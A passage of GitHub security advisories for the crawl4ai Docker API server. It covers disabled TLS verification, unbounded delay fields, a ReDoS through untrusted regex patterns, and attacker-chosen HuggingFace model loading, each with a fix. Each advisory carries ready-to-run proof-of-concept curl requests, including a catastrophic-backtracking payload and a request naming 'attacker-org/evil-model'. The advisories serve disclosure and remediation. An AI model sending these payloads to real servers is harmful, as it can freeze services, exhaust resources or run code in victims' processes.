Forgery"}],"cwe_ids":["CWE-918"],"credits":[{"login":"zachariah-mithani","type":"reporter"},{"login":"ntohidi","type":"remediation_developer"}],"credits_detailed":[{"user":{"login":"zachariah-mithani","id":118302440,"node_id":"U_kgDOBw0m6A","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/118302440?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/zachariah-mithani","html_url":"https:\/\/github.com\/zachariah-mithani","followers_url":"https:\/\/api.github.com\/users\/zachariah-mithani\/followers","following_url":"https:\/\/api.github.com\/users\/zachariah-mithani\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/zachariah-mithani\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/zachariah-mithani\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/zachariah-mithani\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/zachariah-mithani\/orgs","repos_url":"https:\/\/api.github.com\/users\/zachariah-mithani\/repos","events_url":"https:\/\/api.github.com\/users\/zachariah-mithani\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/zachariah-mithani\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"},{"user":{"login":"ntohidi","id":17140097,"node_id":"MDQ6VXNlcjE3MTQwMDk3","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/17140097?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/ntohidi","html_url":"https:\/\/github.com\/ntohidi","followers_url":"https:\/\/api.github.com\/users\/ntohidi\/followers","following_url":"https:\/\/api.github.com\/users\/ntohidi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/ntohidi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/ntohidi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/ntohidi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/ntohidi\/orgs","repos_url":"https:\/\/api.github.com\/users\/ntohidi\/repos","events_url":"https:\/\/api.github.com\/users\/ntohidi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/ntohidi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":0,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:L\/I:N\/A:N","score":5.3}},{"ghsa_id":"GHSA-j2qh-f73r-mg3q","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-j2qh-f73r-mg3q","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-j2qh-f73r-mg3q","summary":"Chromium launched with --ignore-certificate-errors, so TLS verification is off on the Docker server","description":"### Summary\r\n\r\nThe Docker API server says browser TLS verification is on unless the operator sets `CRAWL4AI_ALLOW_INSECURE_TLS`. In fact every locally launched Chromium starts with `--ignore-certificate-errors`, so it accepts any certificate. An attacker on the network path, or one who controls DNS for a crawled host, can serve forged content and read the requests and cookies the crawl sends. The same hard-coded flags also keep `--no-sandbox` on when the operator asks for the Chromium sandbox.\r\n\r\n### Details\r\n\r\n`BrowserManager._build_browser_args()` and `ManagedBrowser.build_browser_flags()` in `crawl4ai\/browser_manager.py` always add `--no-sandbox`, `--ignore-certificate-errors` and `--ignore-certificate-errors-spki-list`. `enforce_egress()` in `deploy\/docker\/egress_broker.py` sets the context option `ignore_https_errors=False` and strips TLS-weakening flags from `BrowserConfig.extra_args` only. The hard-coded flags are added later, at launch, and a launch flag applies to the whole browser, so the context option has no effect. For the sandbox, `_browser_extra_args()` in `deploy\/docker\/server.py` removes `--no-sandbox` from `config.yml` flags only; the hard-coded copy stays, Playwright adds its own when `chromium_sandbox` is not set, and `\/crawl` and `\/crawl\/stream` build their browser from the request body, so `config.yml` flags never reach them. `test_security_default_posture.py` checked `config.yml` rather than the real launch flags, so it did not catch this.\r\n\r\n### Proof of concept\r\n\r\nServer: crawl4ai 0.9.4 Docker image with default settings and a valid API token in `$TOKEN`. `CRAWL4AI_ALLOW_INSECURE_TLS` is not set, so the server claims TLS verification is on.\r\n\r\n1. Run an HTTPS origin with a self-signed certificate (for example `origin.test`). A plain `curl https:\/\/origin.test\/` fails with a certificate error, as it should.\r\n2. Crawl it:\r\n\r\n```bash\r\ncurl -s http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\/json' -d '{\r\n  \"urls\": [\"https:\/\/origin.test\/\"]\r\n}'\r\n```\r\n\r\nResult: the crawl succeeds and returns the origin's content. Chromium was launched with `--ignore-certificate-errors`, so it accepts any certificate, and a network attacker can read or change the crawled page.\r\n\r\nSandbox part: start the server with `CRAWL4AI_CHROMIUM_SANDBOX=true` and send a request that builds its own browser config. The launched Chromium still has `--no-sandbox` (check `ps aux | grep chrome`).\r\n\r\n### Impact\r\n\r\nEvery Docker deployment is affected in its default setup. A man-in-the-middle can change what the crawler returns (which then feeds LLM or RAG pipelines) and see request data, including cookies and headers the crawl sends. Library users who set `ignore_https_errors=False` do not get certificate checks either. Operators who turned on `CRAWL4AI_CHROMIUM_SANDBOX` still run Chromium without the renderer sandbox. No code execution or container escape is shown.\r\n\r\n### Patch\r\n\r\n`--ignore-certificate-errors` and `--ignore-certificate-errors-spki-list` are removed from both default launch flag lists. Insecure mode now comes from the context option `ignore_https_errors`; only the CDP-managed subprocess, whose default context takes no such option, adds the flag, and only when `ignore_https_errors` is True. `CRAWL4AI_CHROMIUM_SANDBOX=true` now reaches every browser, including ones built from a request body: `--no-sandbox` is removed and Playwright gets `chromium_sandbox=True`. The posture test checks the real launch flags, and new tests crawl a self-signed origin on all three launch paths.\r\n\r\n### Workaround\r\n\r\nNone that is complete. Keep the crawler on a trusted network path and DNS resolver.\r\n\r\n### Credit\r\n\r\nReported by Julian Godfrey.","severity":"medium","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-j2qh-f73r-mg3q","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-10-15T10:02:25Z","published_at":"2026-10-15T10:02:25Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.9.4","patched_versions":"0.9.5","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:H\/PR:N\/UI:N\/S:U\/C:L\/I:H\/A:N","score":6.5},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-295","name":"Improper Certificate Validation"},{"cwe_id":"CWE-1188","name":"Initialization of a Resource with an Insecure Default"}],"cwe_ids":["CWE-295","CWE-1188"],"credits":[{"login":"ntohidi","type":"remediation_developer"}],"credits_detailed":[{"user":{"login":"ntohidi","id":17140097,"node_id":"MDQ6VXNlcjE3MTQwMDk3","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/17140097?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/ntohidi","html_url":"https:\/\/github.com\/ntohidi","followers_url":"https:\/\/api.github.com\/users\/ntohidi\/followers","following_url":"https:\/\/api.github.com\/users\/ntohidi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/ntohidi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/ntohidi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/ntohidi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/ntohidi\/orgs","repos_url":"https:\/\/api.github.com\/users\/ntohidi\/repos","events_url":"https:\/\/api.github.com\/users\/ntohidi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/ntohidi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":0,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:H\/PR:N\/UI:N\/S:U\/C:L\/I:H\/A:N","score":6.5}},{"ghsa_id":"GHSA-rhjm-7hj7-75fx","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-rhjm-7hj7-75fx","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-rhjm-7hj7-75fx","summary":"Unbounded delay fields in untrusted CrawlerRunConfig bodies on the Docker server","description":"### Summary\r\n\r\nThe Docker API server clamps time-related fields of an untrusted `CrawlerRunConfig` body, such as `page_timeout`, so one request cannot hold a browser page for long. Three fields on the same untrusted allowlist are not clamped: `delay_before_return_html`, `mean_delay` and `max_range`. An API client can send very large values and keep browser pages busy, which blocks other crawls.\r\n\r\n### Details\r\n\r\n`_clamp_untrusted()` in `crawl4ai\/async_configs.py` caps `page_timeout`, `wait_for_timeout`, `body_visibility_timeout` and `max_scroll_steps` for `CrawlerRunConfig`. `UNTRUSTED_FIELD_ALLOWLIST[\"CrawlerRunConfig\"]` also accepts `delay_before_return_html`, `mean_delay` and `max_range`, and they pass through unchanged. `AsyncPlaywrightCrawlerStrategy._crawl_web()` calls `asyncio.sleep(config.delay_before_return_html)` while it holds the page. `AsyncWebCrawler.arun_many()` uses `mean_delay` and `max_range` as the rate-limiter base delay. The `limits.wall_clock_s` deadline (300 s by default) bounds `\/crawl`, but `\/crawl\/stream` has no deadline.\r\n\r\n### Proof of concept\r\n\r\nServer: crawl4ai 0.9.4 Docker image with default settings and a valid API token in `$TOKEN`.\r\n\r\n```bash\r\ncurl -s http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\/json' -d '{\r\n  \"urls\": [\"https:\/\/example.com\/\"],\r\n  \"crawler_config\": {\"type\": \"CrawlerRunConfig\", \"params\": {\"delay_before_return_html\": 1000000000}}\r\n}'\r\n```\r\n\r\nResult: the request is accepted with the value unchanged, while `page_timeout` in the same body is capped. The server holds a browser page open for the whole delay. A few such requests use up the page pool. `mean_delay` and `max_range` in an `arun_many` request stall the rate limiter the same way.\r\n\r\nLibrary-level check:\r\n\r\n```python\r\nfrom crawl4ai.async_configs import CrawlerRunConfig, Provenance\r\nc = CrawlerRunConfig.load({\"type\": \"CrawlerRunConfig\", \"params\": {\r\n    \"delay_before_return_html\": 1e9, \"mean_delay\": 1e9, \"max_range\": 1e9, \"page_timeout\": 1e9}},\r\n    provenance=Provenance.UNTRUSTED)\r\nprint(c.delay_before_return_html, c.mean_delay, c.max_range, c.page_timeout)\r\n# 1e9 1e9 1e9 60000  -> delays unbounded, page_timeout capped\r\n```\r\n\r\n### Impact\r\n\r\nAn API client can tie up browser pages for as long as it wants and exhaust the server's page pool, so other users' crawls wait or fail. The default setup is affected. JWT auth is off by default, so any client that can reach the server can do this.\r\n\r\n### Patch\r\n\r\n`_clamp_untrusted()` now caps `delay_before_return_html`, `mean_delay` and `max_range` at 60 seconds for untrusted bodies. Negative, NaN and non-numeric values fall back to the field default.\r\n\r\n### Workaround\r\n\r\nTurn on JWT auth (`security.jwt_enabled`) and keep the API off untrusted networks.\r\n\r\n### Credit\r\n\r\nReported by Chunyi Liu.","severity":"medium","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-rhjm-7hj7-75fx","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-10-15T10:02:13Z","published_at":"2026-10-15T10:02:13Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.9.4","patched_versions":"0.9.5","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:N\/A:H","score":6.5},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-770","name":"Allocation of Resources Without Limits or Throttling"}],"cwe_ids":["CWE-770"],"credits":[{"login":"liuchunyi-buaa","type":"reporter"},{"login":"ntohidi","type":"remediation_developer"}],"credits_detailed":[{"user":{"login":"liuchunyi-buaa","id":260201149,"node_id":"U_kgDOD4JavQ","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/260201149?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/liuchunyi-buaa","html_url":"https:\/\/github.com\/liuchunyi-buaa","followers_url":"https:\/\/api.github.com\/users\/liuchunyi-buaa\/followers","following_url":"https:\/\/api.github.com\/users\/liuchunyi-buaa\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/liuchunyi-buaa\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/liuchunyi-buaa\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/liuchunyi-buaa\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/liuchunyi-buaa\/orgs","repos_url":"https:\/\/api.github.com\/users\/liuchunyi-buaa\/repos","events_url":"https:\/\/api.github.com\/users\/liuchunyi-buaa\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/liuchunyi-buaa\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"},{"user":{"login":"ntohidi","id":17140097,"node_id":"MDQ6VXNlcjE3MTQwMDk3","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/17140097?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/ntohidi","html_url":"https:\/\/github.com\/ntohidi","followers_url":"https:\/\/api.github.com\/users\/ntohidi\/followers","following_url":"https:\/\/api.github.com\/users\/ntohidi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/ntohidi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/ntohidi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/ntohidi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/ntohidi\/orgs","repos_url":"https:\/\/api.github.com\/users\/ntohidi\/repos","events_url":"https:\/\/api.github.com\/users\/ntohidi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/ntohidi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":0,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:N\/A:H","score":6.5}},{"ghsa_id":"GHSA-j843-8p47-rhxp","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-j843-8p47-rhxp","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-j843-8p47-rhxp","summary":"ReDoS via untrusted regex patterns freezes the Docker server","description":"### Summary\r\n\r\nThe Docker API server lets an untrusted request body supply regular expressions in three places: `RegexExtractionStrategy.custom`, the `regex` field type in a `JsonCssExtractionStrategy` \/ `JsonXPathExtractionStrategy` schema, and `RegexChunking.patterns`. An authenticated API client can send a pattern with catastrophic backtracking and a page that triggers it. Python's `re` holds the interpreter lock while it matches, so one request stops the whole server, for all users, for as long as the match runs.\r\n\r\n### Details\r\n\r\n`RegexExtractionStrategy` and `RegexChunking` are in `UNTRUSTED_ALLOWED_TYPES` in `crawl4ai\/async_configs.py` but have no entry in `UNTRUSTED_FIELD_ALLOWLIST`, so `_filter_untrusted_fields()` keeps their `custom` and `patterns` fields. `RegexExtractionStrategy.__init__()` compiles each custom pattern and `extract()` runs it with `finditer()` over the crawled content. `JsonCssExtractionStrategy` runs `re.search(pattern, value)` for every schema field of type `regex`. `RegexChunking.chunk()` runs `re.split(pattern, ...)`. None of these bound the pattern or the run time.\r\n\r\nExtraction runs in a worker thread, but Python's `re` engine does not release the GIL during a match, so the event loop cannot serve any other request. The crawl deadline (`asyncio.wait_for`) cannot interrupt the match either. With the pattern `(a+)+$` and a page containing `\"a\" * n + \"X\"`, the run time grows about 4x for every 2 more characters: about 1.5 s at n=24, and hours at n=40.\r\n\r\n### Proof of concept\r\n\r\nServer: crawl4ai 0.9.4 Docker image with default settings and a valid API token in `$TOKEN`.\r\n\r\nServe a page at `https:\/\/attacker.example\/` whose text holds `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX`.\r\n\r\n```bash\r\ncurl -s http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\/json' -d '{\r\n  \"urls\": [\"https:\/\/attacker.example\/\"],\r\n  \"crawler_config\": {\"type\": \"CrawlerRunConfig\", \"params\": {\r\n    \"extraction_strategy\": {\"type\": \"RegexExtractionStrategy\", \"params\": {\"custom\": {\"evil\": \"(a+)+$\"}}}\r\n  }}\r\n}'\r\n```\r\n\r\nResult: the request is accepted. The match backtracks exponentially, and the whole server stops answering, including `\/health`, because `re` holds the GIL. The crawl deadline does not stop it.\r\n\r\nThe same works with `RegexChunking` (`\"chunking_strategy\": {\"type\": \"RegexChunking\", \"params\": {\"patterns\": [\"(a+)+$\"]}}`) and with a `\"type\": \"regex\", \"pattern\": \"(a+)+$\"` field in a `JsonCssExtractionStrategy` schema.\r\n\r\nLibrary-level timing, no network: with 24 `a` characters each case takes 1 to 3 seconds, and every 2 more characters is about 4 times slower.\r\n\r\n### Impact\r\n\r\nAny authenticated API client can make the Docker server stop answering every request, including health checks, with one `\/crawl` request. No optional extras are needed. Confidentiality and integrity are not affected.\r\n\r\nThe library used directly is not affected unless an application passes untrusted regular expressions into these strategies.\r\n\r\n### Patch\r\n\r\nUntrusted request bodies may no longer supply regular expressions: `RegexExtractionStrategy.custom`, `RegexChunking.patterns`, and schema fields of type `regex` in `JsonCssExtractionStrategy`, `JsonXPathExtractionStrategy` and `JsonLxmlExtractionStrategy` are refused. The built-in `RegexExtractionStrategy` patterns stay available. Fixed in 0.9.5.\r\n\r\n### Workaround\r\n\r\nAt your reverse proxy, reject `crawler_config` bodies that contain `RegexExtractionStrategy`, `RegexChunking`, or a schema field with `\"type\": \"regex\"`. Give API tokens only to trusted clients.\r\n\r\n### Credit\r\n\r\nReported by Zhixi \"Jace\" Sun ([manus-use](https:\/\/github.com\/manus-use)), independent security researcher.","severity":"medium","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-j843-8p47-rhxp","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-10-15T10:01:54Z","published_at":"2026-10-15T10:01:54Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":">= 0.9.0, <= 0.9.4","patched_versions":"0.9.5","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:N\/A:H","score":6.5},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-1333","name":"Inefficient Regular Expression Complexity"}],"cwe_ids":["CWE-1333"],"credits":[{"login":"manus-use","type":"reporter"},{"login":"ntohidi","type":"remediation_developer"},{"login":"LeoWSY-hashblue","type":"reporter"}],"credits_detailed":[{"user":{"login":"manus-use","id":213290975,"node_id":"U_kgDODLaP3w","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/213290975?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/manus-use","html_url":"https:\/\/github.com\/manus-use","followers_url":"https:\/\/api.github.com\/users\/manus-use\/followers","following_url":"https:\/\/api.github.com\/users\/manus-use\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/manus-use\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/manus-use\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/manus-use\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/manus-use\/orgs","repos_url":"https:\/\/api.github.com\/users\/manus-use\/repos","events_url":"https:\/\/api.github.com\/users\/manus-use\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/manus-use\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"},{"user":{"login":"ntohidi","id":17140097,"node_id":"MDQ6VXNlcjE3MTQwMDk3","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/17140097?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/ntohidi","html_url":"https:\/\/github.com\/ntohidi","followers_url":"https:\/\/api.github.com\/users\/ntohidi\/followers","following_url":"https:\/\/api.github.com\/users\/ntohidi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/ntohidi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/ntohidi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/ntohidi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/ntohidi\/orgs","repos_url":"https:\/\/api.github.com\/users\/ntohidi\/repos","events_url":"https:\/\/api.github.com\/users\/ntohidi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/ntohidi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer","state":"accepted"},{"user":{"login":"LeoWSY-hashblue","id":148673128,"node_id":"U_kgDOCNySaA","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/148673128?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/LeoWSY-hashblue","html_url":"https:\/\/github.com\/LeoWSY-hashblue","followers_url":"https:\/\/api.github.com\/users\/LeoWSY-hashblue\/followers","following_url":"https:\/\/api.github.com\/users\/LeoWSY-hashblue\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/LeoWSY-hashblue\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/LeoWSY-hashblue\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/LeoWSY-hashblue\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/LeoWSY-hashblue\/orgs","repos_url":"https:\/\/api.github.com\/users\/LeoWSY-hashblue\/repos","events_url":"https:\/\/api.github.com\/users\/LeoWSY-hashblue\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/LeoWSY-hashblue\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":1,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:N\/A:H","score":6.5}},{"ghsa_id":"GHSA-f856-7xp9-w3cc","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-f856-7xp9-w3cc","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-f856-7xp9-w3cc","summary":"Untrusted CosineStrategy model_name lets an API client choose the HuggingFace model the Docker server loads","description":"### Summary\r\n\r\nThe Docker API server lets an untrusted request body build a `CosineStrategy` extraction strategy, and does not filter its `model_name` field. An authenticated API client can make the server download and load any HuggingFace model repository. With PyTorch older than 2.6, a crafted pickle weight file in that repository runs arbitrary Python in the server process. With current PyTorch the code does not run, but the client can still make the server download and hold in memory any model it chooses.\r\n\r\n### Details\r\n\r\n`CosineStrategy` is in `UNTRUSTED_ALLOWED_TYPES` in `crawl4ai\/async_configs.py`, but it has no entry in `UNTRUSTED_FIELD_ALLOWLIST`. For such a type, `_filter_untrusted_fields()` keeps every field that is not explicitly forbidden, and `model_name` is not in `UNTRUSTED_GLOBAL_FORBIDDEN_FIELDS`. `CosineStrategy.__init__()` in `crawl4ai\/extraction_strategy.py` passes `model_name` to `load_HF_embedding_model()` in `crawl4ai\/model_loader.py`, which calls `AutoTokenizer.from_pretrained(model_name)` and `AutoModel.from_pretrained(model_name)` with no restriction on the repository. These downloads do not go through the server's egress controls.\r\n\r\ntransformers loads `.bin` weights with `torch.load(weights_only=True)`, and current transformers refuses `.bin` weights unless PyTorch is 2.6 or newer (CVE-2025-32434). A deployment with PyTorch below 2.6, together with a transformers release that does not have that check, is exposed to code execution through a pickle weight file.\r\n\r\n### Proof of concept\r\n\r\nServer: crawl4ai 0.9.4 Docker image with default settings and a valid API token in `$TOKEN`. The image must have PyTorch and transformers installed (`INSTALL_TYPE=all`).\r\n\r\n```bash\r\ncurl -s http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\/json' -d '{\r\n  \"urls\": [\"https:\/\/example.com\/\"],\r\n  \"crawler_config\": {\"type\": \"CrawlerRunConfig\", \"params\": {\r\n    \"extraction_strategy\": {\"type\": \"CosineStrategy\", \"params\": {\"model_name\": \"attacker-org\/evil-model\"}}\r\n  }}\r\n}'\r\n```\r\n\r\nResult: the request is accepted, and the server calls `AutoTokenizer.from_pretrained(\"attacker-org\/evil-model\")` and `AutoModel.from_pretrained(\"attacker-org\/evil-model\")`. It downloads that repository into its HuggingFace cache and loads it. With PyTorch older than 2.6, a `.bin` weight file with a pickle payload runs code in the server process.\r\n\r\n### Impact\r\n\r\nAffects Docker server deployments that have the `cosine`, `transformer`, or `all` extras installed (for example `INSTALL_TYPE=all`) and a writable HuggingFace cache. The default image (`INSTALL_TYPE=default`) does not install PyTorch or transformers and is not affected. A valid API token is required.\r\n\r\nWith PyTorch below 2.6: arbitrary code execution in the server process, including access to environment variables (LLM provider keys) and files the process can reach. With current PyTorch: the client controls which model the server downloads, writes to disk, and keeps in memory, which can exhaust disk and memory.\r\n\r\nThe library used directly is not affected unless an application passes untrusted input into `CosineStrategy(model_name=...)`.\r\n\r\n### Patch\r\n\r\nUntrusted request bodies may no longer set `CosineStrategy.model_name` (the request is refused), so they always get the default model. Fixed in 0.9.5.\r\n\r\n### Workaround\r\n\r\nReject `crawler_config` bodies that contain `model_name` at your reverse proxy. Upgrade PyTorch to 2.6 or newer. Pre-fill the HuggingFace cache with the model you use and set `HF_HUB_OFFLINE=1`. Use the default image if you do not need cosine extraction.\r\n\r\n### Credit\r\n\r\nReported by Zhixi \"Jace\" Sun ([manus-use](https:\/\/github.com\/manus-use)), independent security 